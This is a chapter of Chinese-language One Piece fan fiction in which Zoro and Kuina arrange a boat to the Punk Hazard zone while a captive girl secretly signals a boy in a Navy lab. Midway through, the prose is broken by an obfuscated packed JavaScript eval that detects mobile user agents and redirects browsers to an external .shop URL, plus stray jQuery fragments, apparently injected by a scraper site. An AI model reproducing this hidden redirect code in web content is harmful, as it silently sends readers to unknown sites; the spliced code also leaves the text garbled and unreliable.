天完全亮了。
莫里斯的货船缓缓靠向一座小岛的简易码头。岛不大,植被茂密,岸边散落着几间破旧的木屋。码头边停着两三艘小船,看起来是个不起眼的渔业据点。
但索隆注意到,那些木屋周围有一些不该出现在渔村的痕迹——屋顶架设着通讯天线,屋后有被防水布遮盖的大型设备。
“中转岛到了。”莫里斯推开舱门,“按约定,我只能送你们到这里。上岸后往东走,第三个岔路口左转,有一间挂着生锈铁锚招牌的酒馆。找老板‘瘸腿’达克,他会告诉你们下一步怎么走。”
索隆点了点头,背起行囊,和古伊娜一起走上甲板。
晨风吹过海面,带着咸腥的气息。古伊娜深吸了一口气,活动了一下肩膀。经过一夜的休息,她的气色比昨晚好了不少。
“走吧。”索隆跳上码头。
两人沿着莫里斯指引的方向走去。岛上没有正规的道路,只有被踩出来的土路,两旁是茂密的灌木丛。走了大约十分钟,他们看到了那间酒馆——一栋歪歪斜斜的两层木屋,门口挂着一块锈迹斑斑的铁锚招牌。
索隆推开门。
酒馆里光线昏暗,只有两三张桌子和几个醉醺醺的酒客。吧台后面站着一个瘸了一条腿、满脸胡茬的中年男人,正用一块脏抹布擦着杯子。
“喝酒还是住宿?”中年男人头也不抬地问。
“找人。”索隆走到吧台前,“找‘瘸腿’达克。”
中年男人抬起眼皮,打量了他们一番。“谁介绍的?”
“夏琪。”
达克的动作顿了一下。他将抹布丢进水槽,撑着吧台,一瘸一拐地走出来,指了指角落的一张桌子:“坐下说。”
三人落座。达克压低声音:“夏琪跟我说过你们。你们要去庞克禁区?”
“对。”索隆说。
“那里现在是海军科学部队的地盘,防卫森严。普通船只靠近就会被警告,强行闯入会被直接击沉。”达克从口袋里掏出一张皱巴巴的海图,摊在桌上,“但我有一条路线,可以绕过外围的警戒线。”
他指着海图上一条虚线:“这是海底暗流通道。入口在这里——距离庞克禁区大约二十海里的一处礁石群。有一条狭窄的水下通道,可以直通基地外围的排水口。但通道很窄,只能用小船通过,而且必须算准潮汐时间。错过了,就得等第二天。”
“你有船?”古伊娜问。
“有一艘旧快艇,改装过,速度还行。”达克说,“租给你们,算五百万贝利。油钱另算。”
“成交。”索隆没有讨价还价,“什么时候能出发?”
“潮汐在今晚十一点左右合适。”达克看了看墙上的旧钟,“你们可以先在这里休息,天黑后再出发。”
海军本部,静滞观察室。
汉斯博士站在观察窗前,盯着屏幕上的数据。艾莉娅的生命体征平稳,能量波形呈现出规律的起伏。
“有意思……”他摸着下巴,“样本的适应能力比预期的要好。在低强度环境刺激下,她的能量波形不仅没有紊乱,反而变得更加稳定了。”
“博士,要继续提高刺激强度吗?”一名技术员问。
“不。”汉斯博士摇了摇头,“先保持现状,收集更多基线数据。等她完全适应当前的环境后,再进行下一步。”
他不知道的是,艾莉娅正在利用接入的数据链路,悄悄地做着另一件事。
她找到了那个银发少年的通讯频道。
不是直接的语音或视频连接,而是实验舱之间用于同步数据的内部通道。通过这个通道,她可以向他发送极其微弱的、被加密数据流掩盖的能量信号。
她开始尝试。
第一次,信号被防火墙拦截了。
她调整了频率和编码方式,再次尝试。
第二次,信号穿过了第一层防护,但在第二层被过滤掉了。
她继续调整。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17661535|202994||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
第三次,信号成功抵达了目标实验舱的数据接收端。
她没有发送复杂的指令,只是传送了一段最简单的信息——一个温暖的、安抚性的能量脉冲。
几秒钟后,她收到了回复。
同样微弱的、带着试探意味的能量波动。
那个少年,接收到她的信号了。
庞克禁区,核心实验室。
Dr.因佩尔站在实验舱前,看着里面的银发少年。
少年依旧漂浮在淡金色的溶液中,额头的暗红色印记微微发光。但与前几天不同的是,他的表情似乎没有那么紧绷了。眉头舒展了一些,呼吸也更加平稳。
“他的状态有好转?”Dr.因佩尔问。
“是的,大人。”一名研究员回答,“从昨夜开始,他的各项生命体征指标都有所改善。精神波动也变得平稳,不再出现之前的剧烈起伏。原因尚不清楚,可能是身体正在逐渐适应原液。”
Dr.因佩尔盯着少年看了好一会儿,没有说话。
他总觉得有些不对劲。但具体哪里不对劲,他说不上来。
“继续监控。有任何异常,立刻报告。”
“是。”
傍晚。
中转岛的酒馆里,索隆和古伊娜正在吃晚饭。简单的面包、熏鱼和热汤,但比起船上的干粮已经好太多了。
“你的伤,真的没问题?”索隆问。
“我说了,三天。”古伊娜喝了一口汤,“今天是第二天。明天这个时候,我就能恢复到八成。”
“那就好。”
古伊娜放下勺子,看着索隆:“你好像从来没怀疑过我说的‘三天’。”
“因为你说到的事情,从来没有做不到的。”索隆平淡地回答。
古伊娜愣了一下,随即低下头,继续喝汤。但她的嘴角,微微扬起了一丝几乎看不见的弧度。
天色渐暗。
距离出发的时间,越来越近了。